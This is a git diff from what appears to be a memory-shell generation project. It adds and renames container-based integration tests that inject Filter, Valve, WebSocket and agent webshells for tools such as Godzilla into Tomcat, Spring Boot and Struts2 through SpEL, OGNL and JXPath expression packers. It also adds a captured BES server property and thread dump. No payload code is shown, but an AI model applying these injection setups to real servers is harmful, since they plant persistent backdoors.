+ .targetJdkVersion(Opcodes.V17)
+ .supportedShellTypes(List.of(
+ ShellType.JAKARTA_FILTER,
+// ShellType.LISTENER,
+ ShellType.JAKARTA_VALVE,
+ ShellType.JAKARTA_WEBSOCKET,
+ ShellType.AGENT_FILTER_CHAIN,
+ ShellType.CATALINA_AGENT_CONTEXT_VALVE
+ ))
+ .testPackers(List.of(Packers.H2))
+ .unSupportedShellTools(List.of(ShellTool.AntSword))
+ .build();
+
+ static Network network = newNetwork();
+ @Container
+ public static final GenericContainer> python = buildPythonContainer(network);
+
+ @Container
+ public static final GenericContainer> container = buildContainer(CONFIG, network);
+
+ static Stream tomcatCasesProvider() {
+ return generateTestCases(TOMCAT_CONFIG);
+ }
+
+ @ParameterizedTest(name = "{0}|{1}{2}|{3}")
+ @MethodSource("tomcatCasesProvider")
+ void testTomcat(String imageName, String shellType, String shellTool, Packers packer) {
+ runShellInject(TOMCAT_CONFIG, shellType, shellTool, packer);
+ }
+
+ @Override
+ protected ContainerTestConfig getConfig() {
+ return CONFIG;
+ }
+}
diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot359ExpressionContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot359ExpressionContainerTest.java
new file mode 100644
index 00000000..527d1a04
--- /dev/null
+++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot359ExpressionContainerTest.java
@@ -0,0 +1,71 @@
+package com.reajason.javaweb.integration.memshell.springwebmvc;
+
+import com.reajason.javaweb.Server;
+import com.reajason.javaweb.integration.ShellAssertion;
+import com.reajason.javaweb.memshell.ShellTool;
+import com.reajason.javaweb.memshell.ShellType;
+import com.reajason.javaweb.packer.Packers;
+import lombok.extern.slf4j.Slf4j;
+import net.bytebuddy.jar.asm.Opcodes;
+import org.junit.jupiter.api.AfterAll;
+import org.junit.jupiter.params.ParameterizedTest;
+import org.junit.jupiter.params.provider.Arguments;
+import org.junit.jupiter.params.provider.MethodSource;
+import org.testcontainers.containers.GenericContainer;
+import org.testcontainers.containers.wait.strategy.Wait;
+import org.testcontainers.junit.jupiter.Container;
+import org.testcontainers.junit.jupiter.Testcontainers;
+
+import java.util.stream.Stream;
+
+import static com.reajason.javaweb.integration.ContainerTool.*;
+import static org.junit.jupiter.params.provider.Arguments.arguments;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/22
+ */
+@Testcontainers
+@Slf4j
+public class SpringBoot359ExpressionContainerTest {
+ public static final String imageName = "springboot3";
+
+ @Container
+ public final static GenericContainer> container = new GenericContainer<>("eclipse-temurin:17.0.17_10-jdk")
+ .withCopyFileToContainer(springBoot359JarFile, "/app/app.jar")
+ .withCommand("java -jar /app/app.jar")
+ .withCopyToContainer(jattachFile, "/jattach")
+ .withCopyToContainer(springbootPid, "/fetch_pid.sh")
+ .waitingFor(Wait.forHttp("/test"))
+ .withExposedPorts(8080);
+
+
+ public static String getUrl(GenericContainer> container) {
+ String host = container.getHost();
+ int port = container.getMappedPort(8080);
+ String url = "http://" + host + ":" + port;
+ log.info("container started, app url is : {}", url);
+ return url;
+ }
+
+ @AfterAll
+ static void tearDown() {
+ String logs = container.getLogs();
+ log.info(logs);
+// assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
+ }
+
+ static Stream casesProvider() {
+ return Stream.of(
+ arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.SpELSpringGzipJDK17),
+ arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.OGNLSpringGzipJDK17),
+ arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JXPathSpringGzipJDK17)
+ );
+ }
+
+ @ParameterizedTest(name = "{0}-expression|{1}{2}|{3}")
+ @MethodSource("casesProvider")
+ void test(String imageName, String shellType, String shellTool, Packers packer) {
+ ShellAssertion.shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V17, packer, container);
+ }
+}
diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot3ExpressionContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot3ExpressionContainerTest.java
index 791e80b8..f58e1a84 100644
--- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot3ExpressionContainerTest.java
+++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot3ExpressionContainerTest.java
@@ -1,7 +1,6 @@
package com.reajason.javaweb.integration.memshell.springwebmvc;
import com.reajason.javaweb.Server;
-import com.reajason.javaweb.integration.ContainerTool;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
@@ -14,7 +13,6 @@
import org.junit.jupiter.params.provider.MethodSource;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.wait.strategy.Wait;
-import org.testcontainers.images.builder.ImageFromDockerfile;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/struct2/Struct2ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/struts2/Struts2ContainerTest.java
similarity index 87%
rename from integration-test/src/test/java/com/reajason/javaweb/integration/memshell/struct2/Struct2ContainerTest.java
rename to integration-test/src/test/java/com/reajason/javaweb/integration/memshell/struts2/Struts2ContainerTest.java
index 110ac50f..15da2340 100644
--- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/struct2/Struct2ContainerTest.java
+++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/struts2/Struts2ContainerTest.java
@@ -1,4 +1,4 @@
-package com.reajason.javaweb.integration.memshell.struct2;
+package com.reajason.javaweb.integration.memshell.struts2;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.AbstractContainerTest;
@@ -19,11 +19,11 @@
* @since 2024/12/4
*/
@Testcontainers
-public class Struct2ContainerTest extends AbstractContainerTest {
+public class Struts2ContainerTest extends AbstractContainerTest {
private static final ContainerTestConfig CONFIG = ContainerTestConfig.builder()
.imageName("tomcat:8-jre8")
- .server(Server.Struct2)
- .warFile(ContainerTool.struct2WarFile)
+ .server(Server.Struts2)
+ .warFile(ContainerTool.struts2WarFile)
.warDeployPath("/usr/local/tomcat/webapps/app.war")
.pidScript(ContainerTool.tomcatPid)
.enableJspPackerTest(false)
diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/struct2/Struct2ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/struts2/Struts2ContainerTest.java
similarity index 86%
rename from integration-test/src/test/java/com/reajason/javaweb/integration/probe/struct2/Struct2ContainerTest.java
rename to integration-test/src/test/java/com/reajason/javaweb/integration/probe/struts2/Struts2ContainerTest.java
index 0017b5be..dc1d9195 100644
--- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/struct2/Struct2ContainerTest.java
+++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/struts2/Struts2ContainerTest.java
@@ -1,4 +1,4 @@
-package com.reajason.javaweb.integration.probe.struct2;
+package com.reajason.javaweb.integration.probe.struts2;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ProbeAssertion;
@@ -11,17 +11,17 @@
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
-import static com.reajason.javaweb.integration.ContainerTool.struct2WarFile;
+import static com.reajason.javaweb.integration.ContainerTool.struts2WarFile;
/**
* @author ReaJason
* @since 2024/12/4
*/
@Testcontainers
-public class Struct2ContainerTest extends AbstractProbeContainerTest {
+public class Struts2ContainerTest extends AbstractProbeContainerTest {
private static final ProbeTestConfig CONFIG = ProbeTestConfig.tomcat("tomcat:8-jre8")
- .warFile(struct2WarFile)
+ .warFile(struts2WarFile)
.expectedJdkVersion("JRE|1.8.0_402|52")
.targetJdkVersion(Opcodes.V1_8)
.supportsBytecode(false)
@@ -47,7 +47,7 @@ protected GenericContainer> getContainer() {
@SneakyThrows
protected void testCommandReqHeaderResponseBody() {
String url = getUrl();
- ProbeAssertion.responseCommandIsOk(url, Server.Struct2, Opcodes.V1_8);
+ ProbeAssertion.responseCommandIsOk(url, Server.Struts2, Opcodes.V1_8);
}
@Override
@@ -55,6 +55,6 @@ protected void testCommandReqHeaderResponseBody() {
@SneakyThrows
protected void testScriptEngineReqHeaderResponseBody() {
String url = getUrl();
- ProbeAssertion.responseScriptEngineIsOk(url, Server.Struct2, Opcodes.V1_8);
+ ProbeAssertion.responseScriptEngineIsOk(url, Server.Struts2, Opcodes.V1_8);
}
}
diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere/OpenLiberty25ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere/OpenLiberty25ContainerTest.java
index 291b8084..4a66f8ce 100644
--- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere/OpenLiberty25ContainerTest.java
+++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere/OpenLiberty25ContainerTest.java
@@ -18,7 +18,7 @@
public class OpenLiberty25ContainerTest extends AbstractProbeContainerTest {
private static final ProbeTestConfig CONFIG = ProbeTestConfig.openLiberty("open-liberty:25.0.0.12-full-java17-openj9")
- .expectedJdkVersion("JRE|17.0.18|61")
+ .expectedJdkVersion("JRE|17.0.19|61")
.targetJdkVersion(Opcodes.V1_8)
.waitStrategy(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5)))
.privilegedMode(true)
diff --git a/integration-test/src/test/resources/infos/Bes11ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/Bes11ContainerTestBasicInfo.txt
new file mode 100644
index 00000000..729d9e2f
--- /dev/null
+++ b/integration-test/src/test/resources/infos/Bes11ContainerTestBasicInfo.txt
@@ -0,0 +1,718 @@
+# Generated At 2026-05-24 05:21:22
+SystemProps:
+java.specification.version: 17
+com.bes.enterprise.web.util.scan.StandardJarScanFilter.jarsToScan: log4j-web*.jar,log4j-taglib*.jar,log4javascript*.jar,slf4j-taglib*.jar
+bes.useNaming: true
+sun.jnu.encoding: UTF-8
+com.bes.enterprise.web.util.scan.StandardJarScanFilter.jarsToSkip: bes-server-jpa-integration,jakarta.mail,bes-jdbcra,org.codehaus.woodstox.stax2-api,bes-web-glue,org.metatype.sxc.sxc-jaxb-core,besmq-ra,bes-webapp-compressor,derbyclient,bes-ejb-glue,bes-deployment,org.apache.xbean.xbean-reflect,bes-admin-command,org.apache.commons.commons-beanutils,org.apache.johnzon.johnzon,org.apache.openwebbeans.openwebbeans-ee-common,bes-connector-runtime,org.apache.commons.commons-codec,bes-ee-loader,org.codehaus.woodstox.woodstox-core-asl,org.apache.commons.commons-collections4,bes-config-remote-adapter,bes-descriptor,bes-server-internal,bes-logger,bes-webtier-util,bes-webtier-coyote,bes-webtier-jsp-api,bes-ee-integration,bes-engine,bootstrap,bes-jdbc-fastcp,bes-patch,commons-codec,org.apache.bval-core,jakartaee-api-endorsed,org.mozilla.rhino,bes-launcher,bes-server-api,org.apache.bval-jsr,xmpcore-,bes-server-jee-accessors,commons-beanutils,org.apache.myfaces.core.myfaces-api,org.apache.openwebbeans.openwebbeans-jsf,org.objectweb.howl.howl,bes-webtier-servlet-api,besmq-mgmt,org.apache.xbean.xbean-naming,bes-server-loader,jakartaee,org.apache.commons.commons-cli,org.apache.geronimo.specs.geronimo-osgi-locator,bes-distributed-session-core,org.apache.openwebbeans.openwebbeans-web,bes-webtier-jasper,bes-config-remote,bes-gmssl-adapter,org.apache.commons.commons-pool2,bes-config-serverbeans,bes-server-quartz-shade,org.apache.xbean.xbean-finder-shaded,bes-ee-myfaces-connector,commons-dbcp,commons-io,bes-server-client,bes-server-http,org.apache.openwebbeans.openwebbeans-ejb,org.codehaus.swizzle.swizzle-stream,bes-monitor,derby,commons-logging,bes-server-ejbd,bes-deployment-common,bes-config-parser,metadata-extractor,org.metatype.sxc.sxc-runtime,bes-logger-adapter,org.hsqldb.hsqldb,commons-collections,bes-jmx-remote,bes-cli-command,bes-command-api,bes-connector-transaction,org.eclipse.jdt.ecj,commons-digester,bes-server-core,bes-api,activation,commons-fileupload,org.apache.openwebbeans.openwebbeans-el22,besmq-client,org.eclipse.persistence.eclipselink,bes-ee-common,bes-server-javaagent,com.sun.xml.bind.jaxb,org.apache.openwebbeans.openwebbeans-impl,bes-license,org.apache.xbean.xbean-bundleutils,org.apache.commons.commons-logging,org.apache.openwebbeans.openwebbeans-spi,bes-engine-ha,org.slf4j.slf4j-jdk14,org.apache.openwebbeans.openwebbeans-ee,org.ow2.asm.asm-all,besmq-common,bes-websocket-api,org.apache.xbean.xbean-asm5-shaded,ant,commons-httpclient,jakarta.persistence,bes-webtier-el-api,bes-server-jee,mbean-annotation-api,bes-gmssl,bes-ee-mq-connector,bes-common-util,bes-server-rest,org.apache.commons.commons-digester,bes-websocket
+com.bes.resource.ejb.leakDetect: false
+bes.loader: bes-system
+sun.arch.data.model: 64
+java.vendor.url: https://adoptium.net/
+sun.boot.library.path: /opt/java/openjdk/lib
+com.bes.hostName: d7c39dda372c
+sun.java.command: com.bes.enterprise.startup.ASMain -instancedir /opt/bes -verbose true -debug false start
+jdk.debug: release
+java.specification.vendor: Oracle Corporation
+java.naming.factory.url.pkgs: com.bes.enterprise.naming:com.bes.enterprise.ejb.core.ivm.naming
+java.version.date: 2026-04-21
+java.home: /opt/java/openjdk
+jgroups.loader: "${bes.home}/lib/jgroups/*.jar"
+javax.net.ssl.certificateKeyFile: /opt/bes/conf/security/key.pem
+file.separator: /
+javax.net.ssl.certificateChainFile: /opt/bes/conf/security/chain.pem
+java.vm.compressedOopsMode: 32-bit
+javax.net.ssl.certificateFile: /opt/bes/conf/security/cert.pem
+line.separator:
+
+java.vm.specification.vendor: Oracle Corporation
+java.specification.name: Java Platform API Specification
+com.bes.instanceRoot: /opt/bes
+jdbc.drivers: org.apache.derby.jdbc.ClientDriver
+package.definition: sun.,java.,com.bes.enterprise.webtier.,com.bes.enterprise.web.crane.,com.bes.enterprise.web.jasper.,com.bes.enterprise.naming.,com.bes.enterprise.web.
+sun.management.compiler: HotSpot 64-Bit Tiered Compilers
+com.bes.enterprise.ejb.configurator: com.bes.enterprise.ejb.BESEjbConfigurationFactory
+java.runtime.version: 17.0.19+10
+user.name: root
+java.security.policy: /opt/bes/conf/security/server.policy
+com.bes.javaRoot: /opt/java/openjdk
+file.encoding: UTF-8
+java.vendor.version: Temurin-17.0.19+10
+derby.system.home: /opt/bes
+java.io.tmpdir: /tmp
+java.version: 17.0.19
+java.vm.specification.name: Java Virtual Machine Specification
+native.encoding: UTF-8
+java.library.path: /opt/bes/lib
+java.vendor: Eclipse Adoptium
+ANTLR_USE_DIRECT_CLASS_LOADING: true
+java.specification.maintenance.version: 1
+java.rmi.server.randomIDs: true
+xxx: xxx
+sun.io.unicode.encoding: UnicodeLittle
+com.bes.enterprise.embedder.source: ServerListener
+bcs.loader: "${bes.home}/lib/bcs/*.jar"
+hsqldb.reconfig_logging: false
+bes.home: /opt/bes
+com.bes.enterprise.startup.ExitOnInitFailure: true
+javax.xml.stream.XMLInputFactory: com.bes.wstx.stax.WstxInputFactory
+java.class.path: /opt/bes/patch/V11.0.0.3668.012.core.jar:/opt/bes/patch/V11.0.0.3668.009.core.jar:/opt/bes/patch/V11.0.0.3668.007.core.jar:/opt/bes/patch/V11.0.0.3668.005.core.jar:/opt/bes/patch/V11.0.0.3668.004.core.jar:/opt/bes/patch/V11.0.0.3668.001.core.jar:/opt/bes/lib/bootstrap/bes-gson.jar:/opt/bes/lib/bootstrap/bes-logger.jar:/opt/bes/lib/bootstrap/bes-common-core.jar:/opt/bes/lib/bootstrap/bes-gmssl.jar:/opt/bes/lib/bootstrap/bootstrap.jar:/opt/bes/lib/bootstrap/bes-httpcore5.jar:/opt/bes/lib/bootstrap/bes-config-parser.jar:/opt/bes/lib/bootstrap/bes-config-serverbeans.jar:/opt/bes/lib/bootstrap/bes-license.jar:/opt/bes/lib/bootstrap/bes-patch.jar:/opt/bes/lib/3rd/bootstrap/org.apache.commons.commons-logging.jar:/opt/bes/lib/3rd/bootstrap/org.codehaus.woodstox.stax2-api.jar:/opt/bes/lib/3rd/bootstrap/org.apache.commons.commons-codec.jar:/opt/bes/lib/3rd/bootstrap/org.codehaus.woodstox.woodstox-core-asl.jar
+jakarta.security.jacc.PolicyConfigurationFactory.provider: com.bes.enterprise.ejb.core.security.JaccProvider$Factory
+java.vm.vendor: Eclipse Adoptium
+com.bes.enterprise.web.util.buf.StringCache.byte.enabled: true
+bes.base: /opt/bes
+user.timezone: Etc/UTC
+com.bes.instanceName: server
+java.vm.specification.version: 17
+os.name: Linux
+sun.java.launcher: SUN_STANDARD
+user.country: US
+sun.cpu.endian: little
+com.bes.enterprise.deployments.classpath: false
+user.home: /root
+user.language: en
+com.bes.enterprise.ejb.core.security.JaccProvider: com.bes.enterprise.ejb.core.security.jacc.BasicJaccProvider
+com.bes.verboseMode: true
+com.bes.enterprise.deployments.classpath.filter.systemapps: false
+java.awt.headless: true
+package.access: sun.,com.bes.enterprise.webtier.,com.bes.enterprise.web.crane.,com.bes.enterprise.web.jasper.,com.bes.enterprise.web.
+server.loader:
+com.bes.enterprise.provider.default: com.bes.enterprise
+java.naming.factory.initial: com.bes.jndi.CtxFactory
+java.net.preferIPv4Stack: true
+path.separator: :
+java.security.egd: file:/dev/./urandom
+common.loader: "${bes.base}/lib/*.jar","${bes.home}/lib/*.jar","${bes.home}/lib/3rd/*.jar","${bes.home}/modules/besmq/lib/client/*.jar","${bes.home}/modules/besmq/lib/admin/*.jar","${bes.home}/modules/besmq/lib/besmq-common.jar","${bes.home}/modules/besmq/lib/besmq-mss.jar"
+os.version: 6.8.0-111-generic
+java.runtime.name: OpenJDK Runtime Environment
+org.apache.security.jacc.EJBMethodPermission.methodInterfaces: BusinessLocalHome,BusinessRemoteHome,BusinessRemote,BusinessLocal
+com.bes.resource.leakDetect: false
+bes.version: 11.0.0
+java.vm.name: OpenJDK 64-Bit Server VM
+java.vendor.url.bug: https://github.com/adoptium/adoptium-support/issues
+com.bes.installRoot: /opt/bes
+com.bes.enterprise.deployment.hotdeploy.dir: /opt/bes/hotdeploy
+user.dir: /opt/bes/conf
+bval.in-container: true
+os.arch: amd64
+shared.loader: "${bes.base}/lib/shared/classes","${bes.base}/lib/shared/*.jar","${bes.home}/lib/shared/classes","${bes.home}/lib/shared/*.jar"
+java.util.logging.manager: com.bes.enterprise.server.logging.BESClassLoaderLogManager
+java.vm.info: mixed mode, sharing
+java.vm.version: 17.0.19+10
+java.class.version: 61.0
+com.bes.enterprise.log.outAndErrNotRedirect: false
+
+===========================================
+
+ThreadStacks:
+"AppServer-utility-2" #73 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2af69321
+ java.lang.Thread.State: TIMED_WAITING
+ at java.base@17.0.19/jdk.internal.misc.Unsafe.park(Native Method)
+ at java.base@17.0.19/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252)
+ at java.base@17.0.19/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1679)
+ at java.base@17.0.19/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182)
+ at java.base@17.0.19/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899)
+ at java.base@17.0.19/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062)
+ at java.base@17.0.19/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122)
+ at java.base@17.0.19/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
+ at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
+ at java.base@17.0.19/java.lang.Thread.run(Thread.java:840)
+
+"httpWorkerThread-8080-3" #75 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5fe3e3a
+ java.lang.Thread.State: WAITING
+ at java.base@17.0.19/jdk.internal.misc.Unsafe.park(Native Method)
+ at java.base@17.0.19/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
+ at java.base@17.0.19/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
+ at java.base@17.0.19/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
+ at java.base@17.0.19/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
+ at java.base@17.0.19/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
+ at java.base@17.0.19/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
+ at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
+ at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
+ at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
+ at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
+ at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
+ at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
+ at java.base@17.0.19/java.lang.Thread.run(Thread.java:840)
+
+"Reference Handler" #2 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at java.base@17.0.19/java.lang.ref.Reference.waitForReferencePendingList(Native Method)
+ at java.base@17.0.19/java.lang.ref.Reference.processPendingReferences(Reference.java:253)
+ at java.base@17.0.19/java.lang.ref.Reference$ReferenceHandler.run(Reference.java:215)
+
+"httpWorkerThread-1900-1" #68 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@79a606ab
+ java.lang.Thread.State: WAITING
+ at java.base@17.0.19/jdk.internal.misc.Unsafe.park(Native Method)
+ at java.base@17.0.19/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
+ at java.base@17.0.19/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
+ at java.base@17.0.19/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
+ at java.base@17.0.19/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
+ at java.base@17.0.19/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
+ at java.base@17.0.19/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
+ at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
+ at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
+ at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
+ at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
+ at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
+ at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
+ at java.base@17.0.19/java.lang.Thread.run(Thread.java:840)
+
+"bes-deployment-scheduled-executor-thread." #92 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2ca77621
+ java.lang.Thread.State: TIMED_WAITING
+ at java.base@17.0.19/jdk.internal.misc.Unsafe.park(Native Method)
+ at java.base@17.0.19/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252)
+ at java.base@17.0.19/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1679)
+ at java.base@17.0.19/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182)
+ at java.base@17.0.19/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899)
+ at java.base@17.0.19/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062)
+ at java.base@17.0.19/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122)
+ at java.base@17.0.19/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
+ at java.base@17.0.19/java.lang.Thread.run(Thread.java:840)
+
+"main" #1 [WAITING] on com.bes.enterprise.server.builder.BesWebModule@3256970f
+ java.lang.Thread.State: WAITING
+ at java.base@17.0.19/java.lang.Object.wait(Native Method)
+ at java.base@17.0.19/java.lang.Object.wait(Object.java:338)
+ at com.bes.enterprise.server.builder.BesWebModule.await(BesWebModule.java:285)
+ at com.bes.enterprise.server.builder.BesWebModule.awaitForShutdown(BesWebModule.java:250)
+ at com.bes.enterprise.server.builder.BesWebModule.start(BesWebModule.java:241)
+ at java.base@17.0.19/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
+ at java.base@17.0.19/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:77)
+ at java.base@17.0.19/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+ at java.base@17.0.19/java.lang.reflect.Method.invoke(Method.java:569)
+ at app//com.bes.enterprise.appserver.startup.Bootstrap.start(Bootstrap.java:519)
+ at app//com.bes.enterprise.appserver.startup.Bootstrap.main(Bootstrap.java:650)
+ at app//com.bes.enterprise.startup.ASMain.main(ASMain.java:38)
+
+"Common-Cleaner" #14 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@462d7091
+ java.lang.Thread.State: TIMED_WAITING
+ at java.base@17.0.19/java.lang.Object.wait(Native Method)
+ at java.base@17.0.19/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155)
+ at java.base@17.0.19/jdk.internal.ref.CleanerImpl.run(CleanerImpl.java:140)
+ at java.base@17.0.19/java.lang.Thread.run(Thread.java:840)
+ at java.base@17.0.19/jdk.internal.misc.InnocuousThread.run(InnocuousThread.java:162)
+
+"Common Lib Watcher" #19 daemon [TIMED_WAITING]
+ java.lang.Thread.State: TIMED_WAITING
+ at java.base@17.0.19/java.lang.Thread.sleep(Native Method)
+ at app//com.bes.enterprise.appserver.startup.CommonClassLoader$1.run(CommonClassLoader.java:92)
+
+"httpWorkerThread-8080-2" #74 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5fe3e3a
+ java.lang.Thread.State: WAITING
+ at java.base@17.0.19/jdk.internal.misc.Unsafe.park(Native Method)
+ at java.base@17.0.19/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
+ at java.base@17.0.19/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
+ at java.base@17.0.19/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
+ at java.base@17.0.19/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
+ at java.base@17.0.19/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
+ at java.base@17.0.19/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
+ at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
+ at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
+ at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
+ at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
+ at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
+ at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
+ at java.base@17.0.19/java.lang.Thread.run(Thread.java:840)
+
+"gjc-connection-creator-1" #89 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@f77b5a1
+ java.lang.Thread.State: WAITING
+ at java.base@17.0.19/jdk.internal.misc.Unsafe.park(Native Method)
+ at java.base@17.0.19/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
+ at java.base@17.0.19/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
+ at java.base@17.0.19/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
+ at java.base@17.0.19/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
+ at java.base@17.0.19/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
+ at com.bes.enterprise.gjc.pool.impl.NoticableLinkedBlockingDeque.awaitAllowCreate(NoticableLinkedBlockingDeque.java:52)
+ at com.bes.enterprise.gjc.pool.impl.GenericObjectPool$ObjectCreator.run(GenericObjectPool.java:293)
+ at java.base@17.0.19/java.lang.Thread.run(Thread.java:840)
+
+"RMI TCP Accept-6600" #93 daemon [RUNNABLE]
